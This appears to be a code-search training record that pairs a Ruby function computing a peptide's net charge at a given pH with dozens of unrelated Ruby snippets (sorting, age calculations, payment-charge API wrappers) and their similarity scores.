"def top10salary(list2014)\t\n\t\ti = 0\n\t\tmax = 0;\n\t\tcount = 0\n\t\tindex = 0;\t\t\n\t\ttemp_index = 0\t\t\n\t\tsal = Array.new();\t\t\n\t\tempTop10List = Array.new()\n\t\tsal = @salary.dup\n\n\t\twhile empTop10List.count < 10 do\n\t\t\twhile count < list2014.count do \n\t\t\t\ti = (list2014[count].to_i)\n\t\t\t\tif max <= sal[i].to_i\n\t\t\t\t\tmax = sal[i].to_i\n\t\t\t\t\tindex = i\n\t\t\t\tend\n\t\t\t\tcount = count+1;\n\t\t\tend\t\n\t\t\tif (empTop10List.count != 10)&&(count == list2014.count)\n\t\t\t\tmax = 0\n\t\t\t\tcount = 0\n\t\t\tend\t\t\t\n\t\t\tif index != temp_index\n\t\t\t\tempTop10List.push(index)\n\t\t\t\tsal[index] = \"\" \n\t\t\t\ttemp_index = index \n\t\t\tend\t\n\t\tend\n\t\tDisplayEmpDetails(empTop10List)\t\t\n\tend",
"def dog_years(human_age)\n dog_years = human_age * 7\n p dog_years\n end",
"def PersonDetails()\n\t\tgenderList()\n\t\tputs \"\"\n\t\tputs \"Top Male List regarding salary\\n\"\n\t\ttop10salary($MaleList);\n\t\tputs \"\"\n\t\tputs \"Top Female List regarding salary\\n\"\n\t\ttop10salary($FemaleList);\n\tend",
"def leaps_between(start_year, end_year)\n leaps = []\n (start_year..end_year).each do |n|\n leaps << n if leap_year(n) == true\n end\n return leaps\nend",
"def dog_years(age)\n \thuman_year = age * 7\n \tp human_year.to_i\n end",
"def great_births(x)\n\tnames = []\n\tx.each {|k,v| names.push(v)} #put values in seperate array, x\n\tprint names\n\tprint \"\\n\"\n\tnames.sort_by! { |hash| hash[:year_of_birth] } #sort values of array, x, by the symbol :year_of_birth\n\tnames.each do |p| #print each name and birth year with preset text\n\t\tprint \"#{p[:name].to_s} is a great person born in #{p[:year_of_birth].to_s}.\\n\"\n\tend\nend",
"def get_all_ages\n LOG.info(\"Retrieving stats...\")\n movies = get_now_showing_movies\n movies.map do |mov|\n mov[:date] = get_movie_show_date(mov)\n cast = get_movie_cast(mov)\n LOG.debug(\"Movie has #{cast.count} member(s)\")\n ages = cast.map {|c| get_cast_member_age(c, mov)}\n ages = ages.inject([]) {|t,a| t << a if a; t} # clean out nils\n LOG.debug(\"Ages were found for #{ages.count} out of #{cast.count} member(s).\")\n if ages.count == 0\n LOG.info(\"Movie (#{mov[:name]}) has no cast members with known birthdates\")\n mov[:avg] = \"n/a\"\n else\n mov[:avg] = (ages.inject {|t,a| t + a }) / ages.count\n end\n mov\n end\nend",
"def names_by_cohort\n @students.sort_by { |student| student[:cohort] }\nend",
"def my_hash_sorting_method(source)\n source.sort_by {|name, age| age}\nend",
"def sort_and_print(hash, type=\"visits\")\n new_hash = hash.sort_by { |page, visits| -visits}.to_h\n # Print into console to check\n new_hash.each do |page, number_of_visits|\n print page + \" \" + number_of_visits.to_s + \" \" + type + \" \"\n end\n # Return sorted hash\n return new_hash\nend",
"def show \n @average_age = @instructor.average_age\n @students = @instructor.students.sort_by {|student| student.name}\n end",
"def display_age(age)\n years = months = weeks = 0\n if age <= 24\n return \"#{age} weeks\"\n else\n months = age / 4\n weeks = age % 4 == 0 ? 0 : age % 4\n if months > 11\n years = months / 12\n months = months % 12 == 0 ? 0 : months % 12\n end\n result = \"\"\n if (years > 0 )\n result = result + pluralize(years, \"year\")\n end\n if (months > 0)\n result = result + \" \" + pluralize(months, \"month\")\n end\n if (weeks > 0)\n result = result + \" \" + pluralize(weeks, \"week\")\n end\n return result\n end\n end",
"def index\n @ab_teams = AbTeam.all\n @years = AbTeam.pluck(:year).map{|x| x}.uniq.sort\n \n end",
"def pt(label, totals)\n puts \" #{label}\"\n totals.sort.each { |name, amount| puts \" #{name}: #{amount}\" }\nend",
"def age\n \n end",
"def top_students(grade_hash, number_of_students)\n outArray = []\n grade_hash.each do |name, scores|\n sum, n = 0, 0\n scores.each do |x|\n n += 1\n sum += x\n end\n outArray.push([sum/n, name])\n end\n final_answer = []\n outArray.sort.reverse[0...number_of_students].each do |grade,name|\n final_answer.push(name)\n end\n return final_answer\nend",
"def parse_age(data)\n current = nil\n last_constname = nil\n cps = []\n ages = []\n data_foreach('DerivedAge.txt') do |line|\n if /^# Total code points: / =~ line\n constname = constantize_agename(current)\n # each version matches all previous versions\n cps.concat(data[last_constname]) if last_constname\n data[constname] = cps\n make_const(constname, cps, \"Derived Age #{current}\")\n ages << current\n last_constname = constname\n cps = []\n elsif /^([0-9a-fA-F]+)(?:\\.\\.([0-9a-fA-F]+))?\\s*;\\s*(\\d+\\.\\d+)/ =~ line\n current = $3\n $2 ? cps.concat(($1.to_i(16)..$2.to_i(16)).to_a) : cps.push($1.to_i(16))\n end\n end\n ages\nend",
"def machine_age\n\n infile, result, *others = params\n ages_filename = \"machine-ages-#{others[0] || File.basename(infile, '.*')}.csv\"\n\n puts; print \"Extracting date columns from #{infile}...\"\n\n Sycsvpro::Extractor.new(infile: infile,\n outfile: \"extract.csv\",\n cols: \"45,10-12,84\").execute\n\n puts; print \"Determine the machine ages based on the oldest date...\"\n\n Sycsvpro::Calculator.new(infile: \"extract.csv\",\n outfile: \"calc.csv\",\n header: \"*,Age\",\n cols: \"5:[d1,d2,d3,d4].compact.min\",\n df: \"%d.%m.%Y\").execute\n\n puts; print \"Create histogram for machine ages...\"\n\n timeleap = SycTimeleap::TimeLeap.new\n o10y = \"<#{timeleap.b10y}\"\n b10a7y = \"#{timeleap.b10y}-#{timeleap.b7y}\"\n b7a2y = \"#{timeleap.b7y+1}-#{timeleap.b2y}\"\n y2y = \">#{timeleap.b2y}\"\n\n Sycsvpro::Counter.new(infile: \"calc.csv\",\n outfile: \"count.csv\",\n rows: \"1-#{result.row_count}\",\n key: \"0:customer\",\n cols: \"5:#{o10y},5:#{b10a7y},5:#{b7a2y},5:#{y2y}\",\n df: \"%Y-%m-%d\",\n sum: \"Total:1,Sum\",\n sort: false).execute\n\n puts; print \"Calculate count of machines older than 7 years per customer...\"\n\n Sycsvpro::Calculator.new(infile: \"count.csv\",\n outfile: \"calc.csv\",\n header: \"*,Older7Years\",\n cols: \"6:c1+c2\").execute\n\n puts; print \"Sorting customers based on machine count and age\"\n\n Sycsvpro::Sorter.new(infile: \"calc.csv\",\n outfile: ages_filename,\n cols: \"n:5,n:6\",\n start: \"1\",\n desc: true).execute\n\n clean_up([\"extract.csv\", \"calc.csv\", \"count.csv\"])\n\n puts; \n puts \"You can find the result of the histogram data in '#{ages_filename}'\"\n\nend",
"def pbArrangeByTier(pokemonlist,rule)\n tiers=[\n withRestr(rule,0,500,0),\n withRestr(rule,380,500,0),\n withRestr(rule,400,555,0),\n withRestr(rule,400,555,0),\n withRestr(rule,400,555,0),\n withRestr(rule,400,555,0),\n withRestr(rule,580,680,1),\n withRestr(rule,500,680,0),\n withRestr(rule,580,680,2)\n ]\n tierPokemon=[]\n for i in 0...tiers.length\n tierPokemon.push([])\n end\n for i in 0...pokemonlist.length\n next if !rule.ruleset.isPokemonValid?(pokemonlist[i])\n validtiers=[]\n for j in 0...tiers.length\n tier=tiers[j]\n if tier.ruleset.isPokemonValid?(pokemonlist[i])\n validtiers.push(j)\n end\n end\n if validtiers.length>0\n vt=validtiers.length*i/pokemonlist.length\n tierPokemon[validtiers[vt]].push(pokemonlist[i])\n end\n end\n # Now for each tier, sort the Pokemon in that tier\n ret=[]\n for i in 0...tiers.length\n tierPokemon[i].sort!{|a,b|\n bstA=baseStatTotal(a.species)\n bstB=baseStatTotal(b.species)\n if bstA==bstB\n a.species<=>b.species\n else\n bstA<=>bstB\n end\n }\n ret.concat(tierPokemon[i])\n end\n return ret\nend",
"def find_all_age_verifications\n return @age_verifications unless @age_verifications.nil?\n\n @age_verifications = {}\n\n find_attributes_starting_with(Yoti::Attribute::AGE_OVER).each do |_name, attribute|\n @age_verifications[attribute.name] = Yoti::AgeVerification.new(attribute)\n end\n find_attributes_starting_with(Yoti::Attribute::AGE_UNDER).each do |_name, attribute|\n @age_verifications[attribute.name] = Yoti::AgeVerification.new(attribute)\n end\n end",
"def ll_table\n\t\ttable = {}\n\t\tnon_terminals.each do |non_term|\n\t\t\ttable[non_term] = {}\n\t\t\tp_sets = predict_sets(non_term)\n\t\t\tp_sets.each_index do |i|\n\t\t\t\tp_sets[i].each do |term|\n\t\t\t\t\ttable[non_term][term] = i\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\treturn table\n\tend",
"def age_array\n return TribeMember.all.map {|member| age(member.birthdate)}\n end",
"def filter(arr)\n array = []\n arr.each do |arr|\n if arr[\"age\"] >=18\n array << arr\n end\n end\n array.sort! { |x,y| x[\"age\"] <=> y[\"age\"]}\n return array\nend",
"def create_lineage(names)\n new_names = []\n i = 0\n names_index = -1\n name_combos = {}\n\n while i < 25\n name = {}\n names_index = (names_index + 1) % names.length\n name[:last_name] = last_name\n\n first_name = names[names_index]\n name[:first_name] = first_name\n middle_name = (new_names.length > 2 ? new_names[new_names.length - 2][:first_name] : '')\n name[:middle_name] = middle_name\n name[:middle_name] = (if i == 0\n 'Allen'\n else\n (if i == 1\n 'Dimitri'\n else\n (i == 2 ? 'John' : name[:middle_name])\n end)\n end)\n middle_name = name[:middle_name]\n\n combo_name = \"#{first_name}_#{middle_name}\"\n if name_combos[combo_name].nil?\n name_combos[combo_name] = 1\n else\n name_combos[combo_name] += 1\n end\n title = name_combos[combo_name]\n\n name[:suffix] = Character.romanize title unless title == 1\n\n name[:age_at_son] = rand(23..35)\n\n name[:birth_year] =\n (i == 0 ? age_at_son + birth_year : new_names[new_names.length - 1][:birth_year] + new_names[new_names.length - 1][:age_at_son])\n\n death_age = rand(63..76)\n name[:death_year] = name[:birth_year] + death_age\n i += 1\n\n new_names << name\n end\n\n new_names\n end",
"def ordered_by_qualifications(candidates)\n candidates.sort_by{ |candidate| [candidate[:years_of_experience], candidate[:github_points]] }\n .reverse\n\nend",
"def calc_vote_table\n # Initialize table.\n table = {}\n Vote.opinion_menu.each do |str, val|\n table[str] = {\n num: 0,\n wgt: 0.0,\n value: val,\n votes: []\n }\n end\n\n # Gather votes, doing a weighted sum in the process.\n tot_sum = 0\n tot_wgt = 0\n votes.each do |v|\n str = Vote.confidence(v.value)\n wgt = v.user_weight\n table[str][:num] += 1\n table[str][:wgt] += wgt\n table[str][:votes] << v\n tot_sum += v.value * wgt\n tot_wgt += wgt\n end\n val = tot_sum.to_f / (tot_wgt + 1.0)\n\n # Update vote_cache if it's wrong.\n update!(vote_cache: val) if (vote_cache - val).abs > 1e-4\n\n table\n end",
"def prio_bilden(tn,folge,ges_einsaetze,ger_schalter)\n namen = []\n tln = {}\n einsaetze_pp = folge.each_with_object(Hash.new(0)) { |name,anzahl| anzahl[name] += 1}\n durchschnt_eins = folge.size * 1.0 / tn.size\n if ger_schalter == 0\n durchschnt_eins += 1\n end\n tn.keys.each do |person|\n if einsaetze_pp[person] <= durchschnt_eins && einsaetze_pp[person] <= ges_einsaetze / tn.size\n tln[person] = tn[person].size * 20 + einsaetze_pp[person] * 100 / durchschnt_eins\n end\n end\n tln = Hash[tln.sort_by{ |n,bw| bw }.reverse]\n tln.keys.each do |n|\n namen << n\n end\n return namen\n end",
"def ordered_by_qualifications(candidates)\n candidates.sort_by {|candidate| [-candidate[:years_of_experience], -candidate[:github_points]]}\nend",
"def alphabetailc_order\n @sorting_order = @data[\"prizes\"].sort_by{|a| a[\"year\"]}.group_by{|a| puts a[\"laureates\"].sort_by{|k| k[\"firstname\"]}}\n #@sorting_order = @data[\"prizes\"].sort_by { |a | [a[\"year\"],a[\"category\"]] }.sort_by{|a|}\n render :json => @sorting_order\n end",
"def index\n @bettors = User.paid.sort {|x,y| y.total_points <=> x.total_points }\n end",
"def find_age_over_verification(age)\n find_age_verification(Yoti::Attribute::AGE_OVER, age)\n end",
"def suitable_age_range_lists(offer)\n\n list = []\n\n if offer[:from] <= 24 && offer[:to] >= 18\n list = [*list, AgeRangeList.find_or_create_by(description: '18 - 24')]\n end\n\n if offer[:from] <= 34 && offer[:to] >= 25\n list = [*list, AgeRangeList.find_or_create_by(description: '25 - 34')]\n end\n\n if offer[:from] <= 44 && offer[:to] >= 35\n list = [*list, AgeRangeList.find_or_create_by(description: '35 - 44')]\n end\n\n if && offer[:from] <= 54 && offer[:to] >= 45\n list = [*list, AgeRangeList.find_or_create_by(description: '45 - 54')]\n end\n\n if offer[:to] >= 54\n list = [*list, AgeRangeList.find_or_c\n reate_by(description: 'más de 54')]\n end\n\n if list.empty?\n list = [AgeRangeList.find_or_create_by(description: 'Indiferente')]\n end\n\n list\nend",
"def sorted\n @@all = @@all.sort_by(&:year)\n end",
"def geo\n\t\t@hotels = Hotel.joins(:area).order(\"areas.sort\", \"sort\")\n\tend",
"def get_planned_passengers(trip_date = nil)\n dputs __method__.to_s\n _trips = get_active_trip_offers()\n if $VERBOSE\n m=\"Parsing (on #{_trips.length}): \"\n print m\n end\n trips = {}\n _trips.each_with_index{|t,i|\n id = t.first\n t = t[1]\n if trip_date\n if parse_time(t[:date]) != parse_time(trip_date)\n next\n end\n end\n if $VERBOSE\n print i\n end\n trip_req = setup_http_request($trip, @cookie, {:url_arg => [id]})\n res = @http.request(trip_req)\n p = parse_trip(res.body)\n trips[id] = p\n trips[id][:stats] = t[:stats]\n if $VERBOSE\n print 0x08.chr * i.to_s.length\n end\n }\n if $VERBOSE\n print 0x08.chr * m.length\n end\n # Sort by date\n trips = Hash[trips.sort_by{|k, v| v[:when]}]\n trips\n end",
"def sort_options\n\t\t[\n\t\t\t['name', 'name', 'Name'], # Will be passed to #order\n\t\t\t['businesses', lambda { |tag| -1 * tag.active_businesses_in_city(@city).length }, 'Number of Businesses']\n\t\t]\n\tend",
"def pLipidos\n\t\tlip = 0\n\t\ttotal = 0\n\t\t@platos.each do |alimento|\n\t\t\ttotal += alimento.proteinas + alimento.lipidos + alimento.carbohidratos\n\t\t\tlip += alimento.lipidos\n\t\tend\n\t\treturn ((lip/total)*100).round\n\t\n\tend",
"def ageoff\n data.values.each { |q| q.ageoff }\n end"
] |
[
"0.65759236",
"0.5627051",
"0.55942386",
"0.5504107",
"0.53523934",
"0.523864",
"0.52038014",
"0.5146799",
"0.51239246",
"0.5108985",
"0.5104057",
"0.50993574",
"0.50917935",
"0.5044814",
"0.50363946",
"0.50363946",
"0.50363946",
"0.5031838",
"0.50164354",
"0.5011932",
"0.5009519",
"0.50086385",
"0.49911404",
"0.49891508",
"0.4987032",
"0.49763685",
"0.49509874",
"0.49496984",
"0.49258977",
"0.49216038",
"0.49199995",
"0.4916129",
"0.49077588",
"0.49076355",
"0.4886742",
"0.48837408",
"0.48828703",
"0.48648608",
"0.4862408",
"0.48571065",
"0.4841069",
"0.4838756",
"0.48306113",
"0.48296595",
"0.4817226",
"0.48140198",
"0.48097444",
"0.48042306",
"0.4796186",
"0.47913235",
"0.47848547",
"0.47836557",
"0.4780188",
"0.47734305",
"0.47666663",
"0.47595954",
"0.47574764",
"0.47507802",
"0.47495487",
"0.474399",
"0.47355077",
"0.4730888",
"0.47287068",
"0.4728622",
"0.47262508",
"0.4723976",
"0.47211468",
"0.47186798",
"0.47123215",
"0.47068465",
"0.47047648",
"0.4704227",
"0.46907887",
"0.46892306",
"0.4686587",
"0.46865228",
"0.46844664",
"0.4671142",
"0.46604744",
"0.46487924",
"0.46414983",
"0.46375206",
"0.46361393",
"0.463169",
"0.46301472",
"0.46294805",
"0.46280974",
"0.46086034",
"0.46055728",
"0.4582584",
"0.45820346",
"0.45799264",
"0.4574442",
"0.45709425",
"0.4570766",
"0.455906",
"0.45589304",
"0.4558929",
"0.45575067",
"0.455642"
] |
0.6540366
|
1
|
Returns the PepCharges structure
|
def charge_at_pH(pep_charges, pH)
charge = 0
charge += -1/(1+10**(pep_charges.c_term-pH))
charge += -pep_charges.d_num/(1+10**(ResidueTable[:D][2]-pH))
charge += -pep_charges.e_num/(1+10**(ResidueTable[:E][2]-pH))
charge += -pep_charges.c_num/(1+10**(ResidueTable[:C][2]-pH))
charge += -pep_charges.y_num/(1+10**(ResidueTable[:Y][2]-pH))
charge += 1/(1+10**(pH - pep_charges.n_term))
charge += pep_charges.h_num/(1+10**(pH-ResidueTable[:H][2]))
charge += pep_charges.k_num/(1+10**(pH-ResidueTable[:K][2]))
charge += pep_charges.r_num/(1+10**(pH-ResidueTable[:R][2]))
charge
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_charge\n @charge\n end",
"def recurring_charges\n data.recurring_charges\n end",
"def generation_charges\n [ [{ :content => \"Current Supplier: THE FLYING BLINKY LIGHTS COMPANY\", :colspan => 4 }],\n [\"Generation Service Charge\", \"491 kWh X $.090041\", \"$\", \"44.21\"],\n [{ :content => \"Total Generation Services Charges\", :colspan => 2 }, \"$\", \"44.21\"]]\n end",
"def fixed_charges\n 20.0\n end",
"def product_rate_plan_charge\n Zapi::Models::ProductRatePlanCharge.new\n end",
"def get_charges(opts = {})\n data, _status_code, _headers = get_charges_with_http_info(opts)\n data\n end",
"def charges\r\n @charges ||= ChargesController.new(configuration: @configuration)\r\n end",
"def sum_charges\n return (self.sum_produits_used)\n end",
"def retrieve(params = {})\n req = WebPay::ChargeIdRequest.create(params)\n raw_response = @client._request(:get, 'charges' + '/' + req.id.to_s, req)\n WebPay::ChargeResponse.new(raw_response)\n end",
"def get_charges\n #fill in the remaining claim info\n # box 28\n text_box sprintf(\"%.2f\", @charges_for_service.to_s), :at => [370, 82]\n # box 29\n text_box sprintf(\"%.2f\", @copay_amount.to_s), :at => [450, 82]\n # box 30\n text_box sprintf(\"%.2f\", @balance_owed.to_s), :at => [520, 82]\n end",
"def charge\n subtotal * 0\n end",
"def ppptotal\n pppquantity + pppquality + pppontime + pppeffective + \n pppknowledge + ppprules + pppcommunication +\n pppleader + pppmanage + pppdiscipline + pppproactive + ppprelate + \n pppparttwo\n end",
"def ppptotal\n pppquantity + pppquality + pppontime + pppeffective + \n pppknowledge + ppprules + pppcommunication +\n pppleader + pppmanage + pppdiscipline + pppproactive + ppprelate + \n pppparttwo\n end",
"def create_charge(body,\r\n idempotency_key = nil)\r\n # Prepare query url.\r\n _path_url = '/Charges'\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'ServiceRefererName' => Configuration.service_referer_name,\r\n 'Content-Type' => 'application/json',\r\n 'idempotency-key' => idempotency_key\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n headers: _headers,\r\n parameters: body.to_json\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n # Validate response against endpoint and global error codes.\r\n if _context.response.status_code == 400\r\n raise ErrorException.new(\r\n 'Invalid request',\r\n _context\r\n )\r\n elsif _context.response.status_code == 401\r\n raise ErrorException.new(\r\n 'Invalid API key',\r\n _context\r\n )\r\n elsif _context.response.status_code == 404\r\n raise ErrorException.new(\r\n 'An informed resource was not found',\r\n _context\r\n )\r\n elsif _context.response.status_code == 412\r\n raise ErrorException.new(\r\n 'Business validation error',\r\n _context\r\n )\r\n elsif _context.response.status_code == 422\r\n raise ErrorException.new(\r\n 'Contract validation error',\r\n _context\r\n )\r\n elsif _context.response.status_code == 500\r\n raise ErrorException.new(\r\n 'Internal server error',\r\n _context\r\n )\r\n end\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n ChargesResponse.from_hash(decoded)\r\n end",
"def build_shipment_charge\n result = {'Type' => PAYMENT_TYPE, :order! => ['Type']}\n if @model.payor == :shipper\n result['BillShipper'] = {'AccountNumber' => @model.shipper.account_number}\n result[:order!] << 'BillShipper'\n else\n result['BillReceiver'] = {'AccountNumber' => @model.recipient.account_number}\n result[:order!] << 'BillReceiver'\n end\n result\n end",
"def new_charge\n end",
"def claim_payment_information\n claim_weight = claim_type_weight\n clp_elements = ['CLP', captured_or_blank_patient_account_number(@eob.patient_account_number), claim_weight,\n @eob.amount('total_submitted_charge_for_claim'), @eob.payment_amount_for_output(@facility, @facility_output_config),\n ( claim_weight == 22 ? \"\" : @eob.patient_responsibility_amount), plan_type, claim_number, eob_facility_type_code, claim_freq_indicator, nil,\n (@eob.drg_code if @eob.drg_code.present?)].trim_segment.join(@element_seperator)\n end",
"def shipping_charges_payment\n {'PaymentType' => payment_type,\n 'Payor' => {'AccountNumber' => @model.payor_account_number},\n :order! => ['PaymentType', 'Payor']}\n end",
"def get_price\n item_prc_1\n end",
"def paid_expense_items\n paid_details.map{|pd| pd.expense_item }\n end",
"def charges(company_number, items_per_page = nil, start_index = nil)\n params = {}\n if items_per_page\n params[:items_per_page] = items_per_page\n end\n if start_index\n params[:start_index] = start_index\n end\n client.get(\"company/#{company_number}/charges/\", params)\n end",
"def charge(company_number, charge_id)\n client.get(\"company/#{company_number}/charges/#{charge_id}/\")\n end",
"def pricing\n request('pricing', :get)\n end",
"def all(params = {})\n req = WebPay::ChargeListRequest.create(params)\n raw_response = @client._request(:get, 'charges', req)\n WebPay::ChargeResponseList.new(raw_response)\n end",
"def charge_params\n params.fetch(:charge, {})\n end",
"def pledge_math\n @pledges = Pledge.where(\"gift_id\" => self.id)\n return pledge_total.to_f, cost_remainder.to_f\n end",
"def add_ppe\n update_basic_fee('PPE',quantity: 800, amount: 200)\n end",
"def coup_pcd()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::CoupPcd::CoupPcdRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def calculate_charge\n # XXX Need to select correct locations record once we support > 1 location\n # XXX Need to select the correct seat_rate for the location\n (total_time / 60.0) * Location.first.seat_rates.first.dollars_per_minute\n end",
"def gross\n params['p24_amount']\n end",
"def delivery_charges\n [[\"Transmission per kwh\", \"425 kWh X $.020207\", \"$\", \"8.59\"],\n [\"Transmission per kwh\", \"66 kWh X $.025259\", \"$\", \"1.67\"],\n [{ :content => \"Distribution Basic Service\", :colspan => 2 }, \"$\", \"16.50\"],\n [\"Distribution per kwh\", \"491 kWh X $.055807\", \"$\", \"27.40\"],\n [\"Combined Public Benefits Charge\", \"491 kWh X $.011731\", \"$\", \"5.76\"],\n [\"Non-Bypassable FMCC per kwh\", \"425 kWh X $.009415\", \"$\", \"4.00\"],\n [\"Non-Bypassable FMCC per kwh\", \"6 kWh X $.011769\", \"$\", \"0.78\"],\n [\"Decoupling Adjustment\", \"491 kWh X $.002215\", \"$\", \"1.09\"],\n [{ :content => \"Total Delivery Charges\", :colspan => 2 }, \"$\", \"65.79\"]]\n end",
"def booking_amount\n self.charges.booking.inject(0){|sum, charge| sum + charge.amount}\n end",
"def build_payment_info\n {'ShipmentCharge' => build_shipment_charge }\n end",
"def stripe_charge\n return nil if stripe_charge_id.nil?\n\n Stripe::Charge.retrieve(stripe_charge_id)\n end",
"def get_charge(charge_id)\r\n # Prepare query url.\r\n _path_url = '/charges/{charge_id}'\r\n _path_url = APIHelper.append_url_with_template_parameters(\r\n _path_url,\r\n 'charge_id' => charge_id\r\n )\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'ServiceRefererName' => Configuration.service_referer_name\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n # Validate response against endpoint and global error codes.\r\n if _context.response.status_code == 400\r\n raise ErrorException.new(\r\n 'Invalid request',\r\n _context\r\n )\r\n elsif _context.response.status_code == 401\r\n raise ErrorException.new(\r\n 'Invalid API key',\r\n _context\r\n )\r\n elsif _context.response.status_code == 404\r\n raise ErrorException.new(\r\n 'An informed resource was not found',\r\n _context\r\n )\r\n elsif _context.response.status_code == 412\r\n raise ErrorException.new(\r\n 'Business validation error',\r\n _context\r\n )\r\n elsif _context.response.status_code == 422\r\n raise ErrorException.new(\r\n 'Contract validation error',\r\n _context\r\n )\r\n elsif _context.response.status_code == 500\r\n raise ErrorException.new(\r\n 'Internal server error',\r\n _context\r\n )\r\n end\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n ChargesResponse.from_hash(decoded)\r\n end",
"def retrieve_product_rate_plan_charge_object(product_rate_plan_charge_id, fields = nil, zuora_version = nil)\n uri = Addressable::URI.parse(\"/object/product-rate-plan-charge/#{product_rate_plan_charge_id}\")\n uri.query_values = { fields: fields.to_s } if !fields.nil?\n @connection.rest_get(uri.to_s, zuora_version)\n end",
"def total\n charges.map { |x| x.total_cost.to_f }.inject(:+)\n end",
"def estimated_charges\n @os_cloudwatch.estimated_charges\n end",
"def gas_expense\n { amount: 12.50 , comment: 'Gas at Chevron', when: '2013-09-09', expensetype_id: 1 }\n end",
"def calculate_shipping_charge\n return unless shipping_method = adjustment_source.shipping_method\n shipping_method.calculate_cost(adjustment_source)\n end",
"def calculate_shipping_charge\n return unless shipping_method = adjustment_source.shipping_method\n shipping_method.calculate_cost(adjustment_source)\n end",
"def consignment_fee\n hash[\"ConsignmentFee\"]\n end",
"def charge(attrs = {})\n post :charges, {}, attrs.to_xml(:root => :charge)\n end",
"def read_claim_payments \r\n read_claim_payment while peek == 'CLP'\r\n self\r\n end",
"def overage_charges\n overage_chunks * APP_CONFIG.payments.additional_storage_chunk_cost\n end",
"def ppmt()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Ppmt::PpmtRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def get_additional_cost_totals\n pos_cost = 0.0 # init result\n neg_cost = 0.0 # init result\n AppParameterCustomizations.get_receipt_costs().each do |c|\n if c[:value] > 0\n pos_cost += c[:value].to_f / 100.0\n elsif self.price >= 78.19\n neg_cost += c[:value].to_f / 100.0 unless self.patient.is_a_firm?\n end\n end\n return { :negative => neg_cost, :positive => pos_cost }\n end",
"def new\n @charge = Charge.new\n end",
"def charge_fee\r\n\t\tif_member = Participant.find_by(participantID: participantID)\r\n\t\tif_course = Course.find_by(courseID: courseID)\r\n\t\t\r\n\t\tif if_course != nil && if_member != nil\r\n\t\t\tearlyBirdTime = if_course.startDate.months_ago(1)\r\n\t\t\tif if_member.expirydate > Date.today\r\n\t\t\t\tif Date.today >= earlyBirdTime && Date.today < if_course.startDate\r\n\t\t\t\t\treturn if_course.earlybirdPrice\r\n\t\t\t\telse\r\n\t\t\t\t\treturn if_course.memberPrice\r\n\t\t\t\tend\r\n\t\t\telse\r\n\t\t\t\treturn if_course.nonmemberPrice\r\n\t\t\tend\r\n\t\tend\r\n\tend",
"def currency_exchanges\n self.invoice.currency_exchanges\n end",
"def charge!(cents, idempotency_key)\n # we are not charging anything - customer pays via bank transfer\n { paymentmethod: payment_info }\n end",
"def energy_pcf\n energy_from_protein +\n energy_from_carbs +\n energy_from_fat\n end",
"def ppmt\n pmt - ipmt\n end",
"def index\n @member_payments = @customer.member_payments.pendings\n end",
"def payment_price\n\t\t\t\t\treturn self.price\n\t\t\t\tend",
"def solve_pI charges\n state = {\n :ph => 0.0,\n :charges => charges,\n :pI => nil,\n :ph_prev => 0.0,\n :ph_next => 14.0,\n :net_charge => 0.0\n }\n error = false\n # epsilon means precision [pI = pH +_ E]\n epsilon = 0.001\n\n loop do\n # Reset net charge\n state[:net_charge] = 0.0\n # Calculate net charge\n state[:charges].each do |charge_proc|\n state[:net_charge] += charge_proc.call state[:ph]\n end\n\n # Something is wrong - pH is higher than 14\n if state[:ph] >= 14.0\n error = true\n break\n end\n\n # Making decision\n temp_ph = 0.0\n if state[:net_charge] <= 0.0\n temp_ph = state[:ph]\n state[:ph] = state[:ph] - ((state[:ph] - state[:ph_prev]) / 2.0)\n state[:ph_next] = temp_ph\n else\n temp_ph = state[:ph]\n state[:ph] = state[:ph] + ((state[:ph_next] - state[:ph]) / 2.0)\n state[:ph_prev] = temp_ph\n end\n\n if (state[:ph] - state[:ph_prev] < epsilon) &&\n (state[:ph_next] - state[:ph] < epsilon)\n state[:pI] = state[:ph]\n break\n end\n end\n\n if !state[:pI].nil? && !error\n state[:pI]\n else\n raise \"Failed to Calc pI: pH is higher than 14\"\n end\n end",
"def parts_cost\n begin\n @parts_cost = ::FishbowlPartsCost.cost_for(self.id).cost\n rescue ActiveResource::ResourceNotFound\n @parts_cost = BigDecimal.new('0.0')\n end\n @parts_cost\n end",
"def getcost()\n return @cost\n end",
"def get_payment_message\n final_price =self.subscription.plan_price.to_f\n coupon_found = self.orders.where(state: 'paused').first.coupon.present?\n payment_message = \"You will be charged $#{final_price}/month for this subscription.\"\n payment_message = self.coupon.price_with_coupon(final_price) if coupon_found\n payment_message\n end",
"def pvcycle_total_fees\n pvcycle_membership_fee + pvcycle_contribution_fee\n end",
"def payment_deadline\n return self.charges.pluck(:created_at).last + 60*60*24*7\n end",
"def all_charges(scans)\n scans.map do |scan|\n {\n title: scan.product.title,\n quantity: scan.quantity,\n amount: priceify_number(scan.total_cost(apply_discount: false))\n }\n end\n end",
"def charge(opts)\n\n amount = opts[:amount]\n currency = opts[:currency]\n\n end",
